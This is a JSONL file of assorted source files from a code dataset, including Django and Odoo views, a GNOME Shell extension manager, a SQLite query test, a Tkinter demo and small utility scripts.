+{"seq_id":"47746744","text":"#-*- coding: utf-8 -*-\r\n\r\nimport time\r\nimport random\r\nimport datetime\r\nimport os\r\nimport sys\r\nimport socket\r\nimport csv\r\n\r\nfrom django.contrib import auth\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.core.exceptions import ObjectDoesNotExist\r\nfrom django.core.paginator import Paginator\r\nfrom django.core.urlresolvers import reverse\r\nfrom django.db.models import Q\r\nfrom django.http.response import HttpResponse, JsonResponse\r\nfrom django.shortcuts import render_to_response, redirect\r\nfrom django.template.context_processors import csrf\r\n\r\nfrom .cleaner import phone_validator\r\nfrom .forms import ClientForm, StatisticSearch, RecordForm, UploadFileForm\r\nfrom .models import Clients, Statistics, Records\r\n\r\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\n\r\n\r\n# def originate(request):\r\n#     if request.is_ajax():\r\n#         id = request.GET['id']\r\n#         user = request.user.username\r\n#         model_base_name = user + '_base'\r\n#         model_base = apps.get_model('inform', model_base_name)\r\n#         model_stats_name = user + '_stats'\r\n#         model_stats = apps.get_model('inform', model_stats_name)\r\n#         client = model_base.objects.get(id=id)\r\n#         name = client.name\r\n#         phone = client.phone\r\n#         record = client.record\r\n#         am = Ami()\r\n#         am.connect()\r\n#         origin = am.originate('9' + phone, record, user)\r\n#         am.disconnect()\r\n#         if origin['Response'] == 'Success':\r\n#             status = 'ANSWER'\r\n#         else:\r\n#             status = 'NOANSWER'\r\n#         time_now = datetime.datetime.now().strftime('%H:%M')\r\n#         date_now = datetime.datetime.now().strftime('%Y-%m-%d')\r\n#         model_stats.objects.create(name=name, phone=phone, record=record, date=date_now, time=time_now, status=status)\r\n#         model_base.objects.get(id=id).delete()\r\n#         response_data = {\r\n#             'id': id,\r\n#             'name': name,\r\n#             'phone': phone,\r\n#             'record': record,\r\n#             'date': date_now,\r\n#             'time': time_now,\r\n#             'status': status,\r\n#         }\r\n#         return JsonResponse(response_data)\r\n\r\n\r\ndef parse_row(row, line, user):\r\n    if len(row) is not 3:\r\n        return {\r\n            'valid': False,\r\n            'message': u'Строка {}: Неверное количество данных для '\r\n                       u'загрузки'.format(line)\r\n        }\r\n    try:\r\n        row[0].decode('utf-8')\r\n        decoding = 'utf-8'\r\n    except UnicodeDecodeError:\r\n        decoding = 'cp1251'\r\n    client_name = row[0].decode(decoding)\r\n    client_phone = row[1].decode(decoding)\r\n    client_record = row[2].decode(decoding)\r\n    phone = phone_validator(client_phone)\r\n    if not phone['valid']:\r\n        return {\r\n            'valid': False,\r\n            'message': u'Строка {}: '\r\n                       u'Неверный формат номера телефона'.format(line)\r\n        }\r\n    records_list = Records.objects.filter(\r\n        user=user\r\n    ).values_list('title', flat=True)\r\n    if client_record not in records_list:\r\n        return {\r\n            'valid': False,\r\n            'message': u'Строка {}: Запись \"{}\" не найдена для текущего '\r\n                       u'пользователя'.format(line, client_record)\r\n        }\r\n    record = Records.objects.get(title=client_record)\r\n    to_create = Clients(user=user, name=client_name,\r\n                        phone=client_phone, record=record)\r\n    return {'valid': True, 'to_create': to_create}\r\n\r\n\r\ndef index(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        return redirect(reverse('inform:clients'))\r\n    else:\r\n        return redirect(reverse('inform:login'))\r\n\r\n\r\ndef clients(request):\r\n    user = auth.get_user(request)\r\n    context = {}\r\n    context.update(csrf(request))\r\n    message_success = ''\r\n    message_error = ''\r\n\r\n    if request.POST:\r\n        if request.FILES:\r\n            file_form = UploadFileForm(request.POST, request.FILES)\r\n            if file_form.is_valid():\r\n                upload_file = request.FILES['file']\r\n                file = str(upload_file).split('.')\r\n                file_type = file[-1]\r\n                warnings = []\r\n                to_create = []\r\n\r\n                if file_type == 'txt':\r\n                    row_reader = upload_file.readlines()\r\n                    for line, row in enumerate(row_reader, 1):\r\n                        row = row.rstrip().split(';')\r\n                        row_valid = parse_row(row, line, user)\r\n                        if not row_valid['valid']:\r\n                            warnings.append(row_valid['message'])\r\n                            continue\r\n                        to_create.append(row_valid['to_create'])\r\n\r\n                elif file_type == 'csv':\r\n                    row_reader = csv.reader(upload_file, delimiter=';')\r\n                    for line, row in enumerate(row_reader, 1):\r\n                        row_valid = parse_row(row, line, user)\r\n                        if not row_valid['valid']:\r\n                            warnings.append(row_valid['message'])\r\n                            continue\r\n                        to_create.append(row_valid['to_create'])\r\n                success = len(to_create)\r\n                message_success = u'Добавлено записей: {}'.format(success)\r\n                message_warning = u'<br />'.join(warnings) or ''\r\n                try:\r\n                    Clients.objects.bulk_create(to_create)\r\n                except ValueError as e:\r\n                    message_error = e\r\n                    message_success = ''\r\n                    message_warning = ''\r\n                context['message_success'] = message_success\r\n                context['message_warning'] = message_warning\r\n                context['message_error'] = message_error\r\n\r\n        else:\r\n            client_form = ClientForm(request.POST, user=user)\r\n            if client_form.is_valid():\r\n                user = user\r\n                name = client_form.cleaned_data['name']\r\n                phone = client_form.cleaned_data['phone']\r\n                record = client_form.cleaned_data['record']\r\n                client = Clients.objects.create(\r\n                    user=user, name=name, phone=phone, record=record)\r\n                if client:\r\n                    context['message_success'] = u'Клиент добавлен в список обзвона'\r\n    client_form = ClientForm()\r\n    file_form = UploadFileForm()\r\n    clients_all = Clients.objects.filter(user=user)\r\n    clients_curr = Paginator(clients_all, 10)\r\n    page_number = request.GET.get('pn') or 1\r\n    context['user'] = user\r\n    context['clients'] = clients_curr.page(page_number)\r\n    context['client_form'] = client_form\r\n    context['file_form'] = file_form\r\n    return render_to_response('clients.html', context)\r\n\r\n\r\ndef records(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        context = {}\r\n        context.update(csrf(request))\r\n        if request.POST:\r\n            record_form = RecordForm(request.POST, request.FILES)\r\n            if record_form.is_valid():\r\n                user = user\r\n                title = record_form.cleaned_data['title']\r\n                record = Records.objects.create(\r\n                    user=user, title=title, file=request.FILES['file'])\r\n                if record:\r\n                    context['message_success'] = u'Сообщение добавлено'\r\n        record_form = RecordForm()\r\n        records = Records.objects.filter(user=user)\r\n        context['record_form'] = record_form\r\n        context['user'] = user\r\n        context['records'] = records\r\n        return render_to_response('records.html', context)\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n\r\n\r\ndef statistic(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        page_number = request.GET.get('pn') or 1\r\n        context = {}\r\n        context.update(csrf(request))\r\n        statistic_form = StatisticSearch(request.POST or None)\r\n        statistic_all = Statistics.objects.filter(user=user)\r\n        statistic_curr = Paginator(statistic_all, 10)\r\n        context['user'] = user\r\n        context['statistics'] = statistic_curr.page(page_number)\r\n        context['statistic_form'] = statistic_form\r\n        return render_to_response('statistic.html', context)\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n\r\n\r\ndef export(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        myQuery = Q(user=user)\r\n        statistic_filtered = Statistics.objects.filter(myQuery)\r\n        response = HttpResponse(content_type='text/csv')\r\n        writer = csv.writer(response, delimiter=';')\r\n        writer.writerow([u'Имя клиента'.encode('cp1251'),\r\n                         u'Телефон'.encode('cp1251'),\r\n                         u'Сообщение'.encode('cp1251'),\r\n                         u'Дата звонка'.encode('cp1251'),\r\n                         u'Время звонка'.encode('cp1251'),\r\n                         u'Статус'.encode('cp1251')])\r\n        for row in statistic_filtered:\r\n            name = row.name.encode('cp1251')\r\n            phone = row.phone\r\n            record = row.record.encode('cp1251')\r\n            date = row.date\r\n            time = row.time\r\n            status = row.status\r\n            writer.writerow([name, phone, record, date, time, status])\r\n        time_now = datetime.datetime.now().strftime('%Y-%m-%d-%H-%M')\r\n        response['Content-Disposition'] = 'attachment; filename=\"' + time_now + '.csv\"'\r\n        return response\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n\r\n\r\ndef remove_client(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        to_delete = request.GET.get('rm')\r\n        if to_delete == 'all':\r\n            Clients.objects.filter(user=user).delete()\r\n        else:\r\n            try:\r\n                Clients.objects.get(id=to_delete).delete()\r\n            except ObjectDoesNotExist:\r\n                print('no object %s' % to_delete)\r\n                pass\r\n        return redirect(reverse('inform:clients'))\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n\r\n\r\ndef remove_record(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        to_delete = request.GET.get('rm')\r\n        if to_delete == 'all':\r\n            Records.objects.filter(user=user).delete()\r\n        else:\r\n            try:\r\n                Records.objects.get(id=to_delete).delete()\r\n            except ObjectDoesNotExist:\r\n                print('no object %s' % to_delete)\r\n                pass\r\n        return redirect(reverse('inform:records'))\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n\r\n\r\ndef start_inform(request):\r\n    user = auth.get_user(request)\r\n    if user.is_authenticated():\r\n        context = {}\r\n        context.update(csrf(request))\r\n        clients_all = Clients.objects.filter(user=user)\r\n        context = {\r\n            'user': user,\r\n            'clients': clients_all,\r\n        }\r\n        return render_to_response('startinform.html', context)\r\n    else:\r\n        return redirect(reverse('inform:index'))\r\n","sub_path":"inform/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":11397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"98467668","text":"import os\nimport sqlite3\nimport unittest\n\nfrom mmvizutil.db.query import (\n    Query,\n    db_query_df,\n    db_query_list,\n    query_bar,\n    query_scatter\n)\n\nfrom mmvizutil.db.sqlite import (\n    query_box\n)\n\ndef db_sqlite_path(fname):\n    cur_dir = os.path.dirname(os.path.realpath(__file__))\n    return os.path.join(cur_dir, fname)\n\nDB_FILE_PATH = db_sqlite_path(\"data/customer.db\")\n\n\ndef db_query_customer():\n\n    query = Query()\n    query.value = \"select income num_1, travel_spending num_2, state cat_1 from customer\"\n\n    return query\n\n\nclass TestSqliteQuery(unittest.TestCase):\n\n    def test_query_list(self):\n\n        with sqlite3.connect(DB_FILE_PATH) as connection:\n            result = db_query_list(connection, db_query_customer())\n            print(result)\n\n    def test_query_df(self):\n        with sqlite3.connect(DB_FILE_PATH) as connection:\n            result = db_query_df(connection, db_query_customer())\n            print(result)\n\n    def test_query_box_df(self):\n        with sqlite3.connect(DB_FILE_PATH) as connection:\n            result = db_query_df(connection, query_box(db_query_customer()))\n            print(result)\n\n    def test_query_bar_df(self):\n        with sqlite3.connect(DB_FILE_PATH) as connection:\n            result = db_query_df(connection, query_bar(db_query_customer()))\n            print(result)\n\n    def test_query_scatter_df(self):\n        with sqlite3.connect(DB_FILE_PATH) as connection:\n            result = db_query_df(connection, query_scatter(db_query_customer(), \"max\", \"avg\"))\n            print(result)\n\n# def main():\n#     result = db_sqlite_query_df(db_query_customer_income())\n#     print(result)\n#\n# if __name__ == \"__main__\": main()","sub_path":"test/sqlite/test_db_query.py","file_name":"test_db_query.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"164556785","text":"#!/usr/bin/python3\nimport os, requests, json, lxml.html, subprocess, zipfile, shutil, re\n\nclass ExtensionManager():\n\n    def __init__(self):\n        self.extensions_local_path = os.getenv(\"HOME\") + \"/.local/share/gnome-shell/extensions/\"\n        self.extensions_sys_path = \"/usr/share/gnome-shell/extensions/\"\n        self.results = []\n        self.installed = self.list_all_extensions()\n        self.version = self.run_command(\"gnome-shell --version\").split()[2]\n    \n    def run_command(self, command):\n        return subprocess.Popen(command, shell=True, stdout=subprocess.PIPE).stdout.read().decode()    \n\n    def list_all_extensions(self):\n        installed_extensions = []\n        uuids = self.list_user_extensions() + self.list_system_extensions()\n        enabled_extensions = re.findall(r'\\'(.+?)\\'', self.run_command(\"gsettings get org.gnome.shell enabled-extensions\"))\n        for uuid in uuids:\n            extension_local_path = self.extensions_local_path + uuid\n            extension_sys_path = self.extensions_sys_path + uuid\n\n            extension_data = {\"uuid\": uuid, \"local\": self.extension_is_local(uuid)}\n            if uuid in enabled_extensions:\n                extension_data[\"enabled\"] = True\n            else:\n                extension_data[\"enabled\"] = False\n            if extension_data[\"local\"] == True:\n                metadata = open(extension_local_path + \"/metadata.json\", \"r\").read()\n            else:\n                metadata = open(extension_sys_path + \"/metadata.json\").read()\n            metadata = json.loads(metadata)\n\n            # Check for preferences\n            if os.path.exists(extension_sys_path + \"/prefs.js\") or os.path.exists(extension_local_path + \"/prefs.js\"):\n                extension_data[\"prefs\"] = True\n            else:\n                extension_data[\"prefs\"] = False\n\n            extension_data[\"name\"] = metadata[\"name\"]\n            installed_extensions.append(extension_data)\n        return installed_extensions\n    \n    def extension_is_local(self, uuid):\n        if uuid in self.list_user_extensions():\n            return True\n        else:\n            return False\n\n    def list_system_extensions(self):\n        return os.listdir(self.extensions_sys_path)\n\n    def list_user_extensions(self):\n        try:\n            return os.listdir(self.extensions_local_path)\n        except FileNotFoundError:\n            os.mkdir(self.extensions_local_path)\n            return os.listdir(self.extensions_local_path)\n\n    def search(self, query):\n        try:\n            response = self.get_request(\"https://extensions.gnome.org/extension-query/?page=1&search=\" + query)\n        except:\n            raise\n            return        \n        self.results = json.loads(response.text)[\"extensions\"]\n\n    def get_extensions(self, uuid):\n        # Parse the extension webpage and get the json from the data-svm element\n        url = \"https://extensions.gnome.org\" + self.results[self.get_index(uuid)][\"link\"]\n        try:\n            response = self.get_request(url)\n        except:\n            raise\n\n        root = lxml.html.fromstring(response.text)\n        content = root.xpath(\"/html/body/div[2]/div/div[2]/@data-svm\")[0]\n        releases = json.loads(content)\n\n        # Get matching version\n        extension_id = \"\"\n\n        # Iterate through the different releases and get the matching one for your gnome version and failsafe to the lastest release\n        subversions = []\n        for key, value in releases.items():\n            subversions.append(float(key[2:]))\n\n            if self.version.startswith(str(key)):\n                extension_id = str(value[\"pk\"])\n        \n        # If the ID doesn't start with your current version, get the highest one\n        if extension_id == \"\":\n\n            # Use re to remove .0 from the float conversion above\n            max_subversion = re.sub('\\.0$', '', str(max(subversions)))\n            highest_version = \"3.\" + max_subversion\n            extension_id = str(releases[highest_version][\"pk\"])\n\n        # Download and install\n        try:\n            self.download(\"https://extensions.gnome.org/download-extension/\" + uuid + \".shell-extension.zip?version_tag=\" + extension_id, uuid)\n            self.install(uuid)\n        except:\n            raise\n\n    def get_index(self, uuid):\n        for index, entry in enumerate(self.results):\n            if entry[\"uuid\"] == uuid:\n                return index\n    \n    def get_uuid(self, index):\n        return self.results[index][\"uuid\"]\n\n    def download(self, url, uuid):\n        try:\n            response = self.get_request(url)\n            with open(self.get_zip_path(uuid), \"wb\") as file:\n                file.write(response.content)\n                print(\"Downloaded \" + uuid)\n        except:\n            raise\n\n    def remove(self, uuid):\n        install_path = self.extensions_local_path + uuid\n        if os.path.isdir(install_path):\n            print(\"Deleting \" + uuid)\n            try:\n                shutil.rmtree(install_path)\n            except:\n                raise\n        self.installed = self.list_all_extensions()\n    \n    def get_image(self, uuid):\n        url = \"https://extensions.gnome.org\" + self.results[self.get_index(uuid)][\"icon\"]\n        if url == \"https://extensions.gnome.org/static/images/plugin.png\":\n            return None\n        try:\n            response = self.get_request(url)\n            return response.content\n        except:\n            raise\n    \n    def get_request(self, url):\n        response = requests.get(url)\n        if response == None:\n            raise\n            return\n        return response\n    \n    def set_extension_status(self, uuid, status):\n        self.run_command(\"gnome-extensions \" + status + \" \" + uuid)\n    \n    def get_zip_path(self, uuid):\n        return \"/tmp/\" + uuid + \".zip\"\n\n    def install(self, uuid):\n        # Remove old extension       \n        self.remove(uuid)\n        zip_path = self.get_zip_path(uuid)\n\n        # Create new folder with matching uuid and extract to it\n        install_path = self.extensions_local_path + uuid\n\n        try:\n            os.mkdir(install_path)\n            with zipfile.ZipFile(zip_path,\"r\") as zip_ref:\n                zip_ref.extractall(install_path)\n            os.remove(zip_path)\n            self.installed = self.list_all_extensions()\n            print(\"Installed \" + uuid)\n            \n        except:\n            raise\n\n\n\n","sub_path":"extensionmanager/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"549300844","text":"# _*_ coding: utf-8 _*_\r\nfrom Tkinter import* \r\n\r\nmaster = Tk() # 创建根窗口\r\n\r\nlistbox = Listbox(master) # 引入Listbox组件，创建消息窗口\r\nlistbox.pack() # 组块\r\n\r\nlistbox.insert(END, \"a list entry\") # 输出某值\r\n\r\nfor item in range(0,30): # 输出列表元素，与本次任务吻合\r\n\tlistbox.insert(END, item)\r\n\r\nmainloop() # 进入消息循环，否则无法显示界面\r\n\r\n","sub_path":"_src/om2py2w/2wex0/tk_listbox.py","file_name":"tk_listbox.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"204730767","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, _ \nimport logging\n_logger = logging.getLogger(__name__)\n\nclass AccountInvoice(models.Model):\n\t_inherit = 'account.invoice'\n\n\t@api.multi\n\tdef get_bom_details_summary(self):\n\t\tif self.invoice_line_ids: \n\t\t\tproduct_bom_list = {}\n\t\t\tfor invoice_id in self.invoice_line_ids:\n\t\t\t\tbom_obj = self.env['mrp.bom'].search([('product_tmpl_id','=', invoice_id.product_id.product_tmpl_id.id),\n\t\t\t\t\t\t\t\t\t\t\t\t\t  ('company_id','=', self.company_id.id),\n\t\t\t\t\t\t\t\t\t\t\t\t\t  ('type','=', 'phantom')], limit=1)\n\t\t\t\tif bom_obj:\n\t\t\t\t\tquantity_converted = invoice_id.quantity / bom_obj.product_qty\n\t\t\t\t\tbom_ctr = 1\n\n\t\t\t\t\tfor line_id in bom_obj.bom_line_ids:\n\t\t\t\t\t\tif line_id.id != bom_obj.bom_line_ids.ids[0]:\n\n\t\t\t\t\t\t\tnames = str(line_id.product_id.id) + 'UOM' + str(line_id.product_uom_id.id)\n\t\t\t\t\t\t\tproduct_name =  line_id.product_id.name\n\n\t\t\t\t\t\t\tif line_id.product_id.description_sale:\n\t\t\t\t\t\t\t\tproduct_name = line_id.product_id.description_sale\n\n\t\t\t\t\t\t\tif names not in product_bom_list:\n\t\t\t\t\t\t\t\tproduct_bom_list[names] = [\n\t\t\t\t\t\t\t\t\tproduct_name,\n\t\t\t\t\t\t\t\t\tline_id.product_uom_id,\n\t\t\t\t\t\t\t\t\tquantity_converted * line_id.product_qty]\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tproduct_bom_list[names][2] += (quantity_converted * line_id.product_qty)\n\t\t\t\t\t\t\tbom_ctr +=1\n\t\t\treturn product_bom_list\n\t\treturn False\n\n\n\nclass AccountInvoiceLine(models.Model):\n\t_inherit = 'account.invoice.line'\n\n\t@api.multi\n\tdef get_product_bom_details(self):\n\t\tself.ensure_one()\n\t\tbom_obj = self.env['mrp.bom'].search([('product_tmpl_id','=', self.product_id.product_tmpl_id.id),\n\t\t\t\t\t\t\t\t\t\t ('company_id','=', self.company_id.id),\n\t\t\t\t\t\t\t\t\t\t ('type','=', 'phantom')], limit=1)\n\t\tif bom_obj:\n\t\t\t#raise Warning(bom_obj.bom_line_ids[1:])\n\t\t\treturn bom_obj.bom_line_ids[0]\n\n\t\treturn False\n\n\n\n\n\n\n\n# class goodheart(models.Model):\n#     _name = 'goodheart.goodheart'\n#     name = fields.Char()\n#     value = fields.Integer()\n#     value2 = fields.Float(compute=\"_value_pc\", store=True)\n#     description = fields.Text()\n#\n#     @api.depends('value')\n#     def _value_pc(self):\n#         self.value2 = float(self.value) / 100\n","sub_path":"gh_shoot_so_coneland/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"88024018","text":"import re\n\n\ndef calculate():\n    fo = open(\"data.txt\", \"r+\")\n    lines = fo.readlines()\n    total = 0\n    grp = []\n    for line in lines:\n        line = line.strip()\n        if line == \"\":\n            total += group_sum(grp)\n            grp = []\n        else:\n            grp.append(line)\n\n    total += group_sum(grp)\n    return total\n\ndef group_sum(lines):\n    group_results = 0\n    for line in lines:\n        group_results |= person_binary(line)\n    return sum(int(b) for b in \"{0:b}\".format(group_results))\n\ndef person_binary(answers):\n    hash = 0\n    for letter in answers:\n        hash |= 2**order_number(letter)\n    return hash\n\ndef order_number(letter):\n    return ord(letter) - ord('a')\n","sub_path":"day06a/program_lib.py","file_name":"program_lib.py","file_ext":"py","file_size_in_byte":696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"516663146","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom rest_framework import permissions\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom picpay.search import *\n\nfrom .secrets import *\n\n__author__ = 'Roberto Morati <robertomorati@gmail.com>'\n__copyright__ = ' Copyright (c) 2017'\n__version__ = '0.0.1'\n\n\nclass InfoSearchViewSet(APIView):\n    \"\"\"\n    title: Basic Info to start the Search\n\n    * description: Return the informations that are necessary to use the service api.v1.search\"\n\n    * retrieve: token to start the search\n    \"\"\"\n    permission_classes = (permissions.AllowAny,)\n\n    def get(self, request, *args, **kw):\n\n        infs = {}\n        if 'data_search' in kw:\n            infs = info_search(kw['data_search'])\n        else:\n            infs = info_search()\n\n        if 'success' in infs:\n            for key in list(request.session.keys()):\n                del request.session[key]\n            request.session.modified = True\n\n            token = token_hex(6)\n            request.session[token] = infs\n\n            response = {}\n            response['pages'] = infs['pages']\n            response['total'] = infs['total']\n            response['success'] = infs['success']\n            response['token'] = token\n            print(\"token : \" + str(response['token']))\n        else:\n            response = {}\n            response['error'] = infs['error']\n        return Response(response, status=status.HTTP_200_OK)\n\n\nclass UserSearchViewSet(APIView):\n    \"\"\"\n    title: Search by users\n\n    * description: Return the informations about users.\n\n    * retrieve: users (id, username and fullname)\n    \"\"\"\n\n    permission_classes = (permissions.AllowAny,)\n\n    def get(self, request, *args, **kw):\n        response = {}\n        if 'token' in kw:\n            if kw['token'] in request.session:\n                if 'data_search' in kw:\n                    if not (kw['data_search'] == request.session[kw['token']]['data_search']):\n                        response['error'] = 'data_search invalid'\n                    else:\n                        response = search(data_search=kw['data_search'], info_search=request.session[kw['token']], page=(int(kw['page']) - 1))\n                else:\n                    if not ('data_search' in kw):\n                        if request.session[kw['token']]['data_search'] is not None:\n                            response['error'] = 'data_search invalid'\n                        else:\n                            response = search(info_search=request.session[kw['token']], page=(int(kw['page']) - 1))\n            else:\n                response['error'] = 'invalid token'\n        return Response(response, status=status.HTTP_200_OK)\n","sub_path":"api/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"275796404","text":"def resize_fs(module, filesystem, size):\n    ' Resize LVM file system. '\n    chfs_cmd = module.get_bin_path('chfs', True)\n    if (not module.check_mode):\n        (rc, chfs_out, err) = module.run_command(('%s -a size=\"%s\" %s' % (chfs_cmd, size, filesystem)))\n        if (rc == 28):\n            changed = False\n            return (changed, chfs_out)\n        elif (rc != 0):\n            if re.findall('Maximum allocation for logical', err):\n                changed = False\n                return (changed, err)\n            else:\n                module.fail_json('Failed to run chfs.', rc=rc, err=err)\n        else:\n            if re.findall('The filesystem size is already', chfs_out):\n                changed = False\n            else:\n                changed = True\n            return (changed, chfs_out)\n    else:\n        changed = True\n        msg = ''\n        return (changed, msg)","sub_path":"Data Set/bug-fixing-3/75724bb7cabcdd78eed0ee3435b056e75db315ee-<resize_fs>-bug.py","file_name":"75724bb7cabcdd78eed0ee3435b056e75db315ee-<resize_fs>-bug.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"537033116","text":"#encoding=utf-8\nfrom django.shortcuts import render, render_to_response\n\n# Create your views here.\nfrom blogs.models import passage\n\n\ndef home(req):\n    posts = []\n\n    return render_to_response(\"pages/home.html\", {\"posts\":posts})\n\ndef example_home(req):\n    posts = []\n\n    raws = passage.objects.filter()[:10]\n    for blograw in raws:\n        if blograw.type == 1:\n            standard_post = {}\n            standard_post[\"id\"] = blograw.id\n            standard_post[\"type\"] = blograw.type\n            standard_post[\"title\"] = blograw.title\n            standard_post[\"text\"] = blograw.text\n            standard_post[\"time\"] = blograw.time\n            standard_post[\"author\"] = blograw.author\n            standard_post[\"href\"] = blograw.href\n            standard_post[\"tags\"] = blograw.tags.split(\"|\")\n            posts.append(standard_post)\n        elif blograw.type == 2:\n            gallary_post = {}\n            gallary_post[\"id\"] = blograw.id\n            gallary_post[\"imgs\"] = blograw.quote.split(\"|\")\n            gallary_post[\"type\"] = 2\n            gallary_post[\"title\"] = \"测试文章\"\n            gallary_post[\"text\"] = blograw.text\n            gallary_post[\"time\"] = blograw.time\n            gallary_post[\"author\"] = blograw.author\n            gallary_post[\"href\"] = blograw.href\n            gallary_post[\"tags\"] = blograw.tags.split(\"|\")\n\n            posts.append(gallary_post)\n        elif blograw.type == 3:\n            youtube_post = {}\n            youtube_post[\"id\"] = blograw.id\n            youtube_post[\"ylink\"] = blograw.link\n            youtube_post[\"type\"] = 3\n            youtube_post[\"title\"] = \"测试文章\"\n            youtube_post[\"text\"] = blograw.text\n            youtube_post[\"time\"] = blograw.time\n            youtube_post[\"author\"] = blograw.author\n            youtube_post[\"href\"] = blograw.href\n            youtube_post[\"tags\"] = blograw.tags.split(\"|\")\n            posts.append(youtube_post)\n        elif blograw.type == 4:\n            link_post = {}\n            link_post[\"id\"] = blograw.id\n            link_post[\"link\"] = \"http://www.wrapbootstrap.com/\"\n            link_post[\"type\"] = 4\n            link_post[\"title\"] = \"测试文章\"\n            link_post[\"text\"] = blograw.text\n            link_post[\"time\"] = blograw.time\n            link_post[\"author\"] = blograw.author\n            link_post[\"href\"] = blograw.href\n            link_post[\"tags\"] = blograw.tags.split(\"|\")\n            posts.append(link_post)\n        elif blograw.type == 5:\n            quote_post = {}\n            quote_post[\"id\"] = blograw.id\n            quote_post[\"quote\"] = blograw.quote\n            quote_post[\"type\"] = 5\n            quote_post[\"author\"] = blograw.author\n            posts.append(quote_post)\n\n\n\n    pages = [[1, \"\"], [2, \"\"], [3, \"\"]]\n    current_page = 2\n    tags = [[\"Java\", \"/tag/java\"], [\"Python\", \"/tag/python\"], [\"NLP\", \"/tag/nlp\"], [\"Machine Learning\", \"/tag/ml\"]]\n\n    return render_to_response(\"pages/home.html\", {\"posts\":posts, \"pages\":pages, \"current_page\":current_page, \"tags\":tags})\n\n\ndef blog(req, bid=0):\n    blograw = passage.objects.get(id=bid)\n    post = {}\n    if blograw.type == 1:\n        post[\"id\"] = blograw.id\n        post[\"type\"] = blograw.type\n        post[\"title\"] = blograw.title\n        post[\"text\"] = blograw.text\n        post[\"time\"] = blograw.time\n        post[\"author\"] = blograw.author\n        post[\"href\"] = blograw.href\n        post[\"tags\"] = blograw.tags.split(\"|\")\n    elif blograw.type == 2:\n        post[\"id\"] = blograw.id\n        post[\"imgs\"] = blograw.quote.split(\"|\")\n        post[\"type\"] = 2\n        post[\"title\"] = \"测试文章\"\n        post[\"text\"] = blograw.text\n        post[\"time\"] = blograw.time\n        post[\"author\"] = blograw.author\n        post[\"href\"] = blograw.href\n        post[\"tags\"] = blograw.tags.split(\"|\")\n    elif blograw.type == 3:\n        post[\"id\"] = blograw.id\n        post[\"ylink\"] = blograw.link\n        post[\"type\"] = 3\n        post[\"title\"] = \"测试文章\"\n        post[\"text\"] = blograw.text\n        post[\"time\"] = blograw.time\n        post[\"author\"] = blograw.author\n        post[\"href\"] = blograw.href\n        post[\"tags\"] = blograw.tags.split(\"|\")\n    elif blograw.type == 4:\n        post[\"id\"] = blograw.id\n        post[\"link\"] = \"http://www.wrapbootstrap.com/\"\n        post[\"type\"] = 4\n        post[\"title\"] = \"测试文章\"\n        post[\"text\"] = blograw.text\n        post[\"time\"] = blograw.time\n        post[\"author\"] = blograw.author\n        post[\"href\"] = blograw.href\n        post[\"tags\"] = blograw.tags.split(\"|\")\n    elif blograw.type == 5:\n        post[\"id\"] = blograw.id\n        post[\"quote\"] = blograw.quote\n        post[\"type\"] = 5\n        post[\"author\"] = blograw.author\n\n    return render_to_response(\"pages/blog.html\", {\"bid\":bid, \"post\":post})\n\ndef publish(req):\n    return render_to_response(\"pages/publish.html\")\n\n# Create your views here.\ndef about(req):\n    return render_to_response(\"pages/about.html\", {})\n\n# Create your views here.\ndef contact(req):\n    return render_to_response(\"pages/about.html\", {})\n\n# Create your views here.\ndef works(req):\n    return render_to_response(\"pages/about.html\", {})\n","sub_path":"blogs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
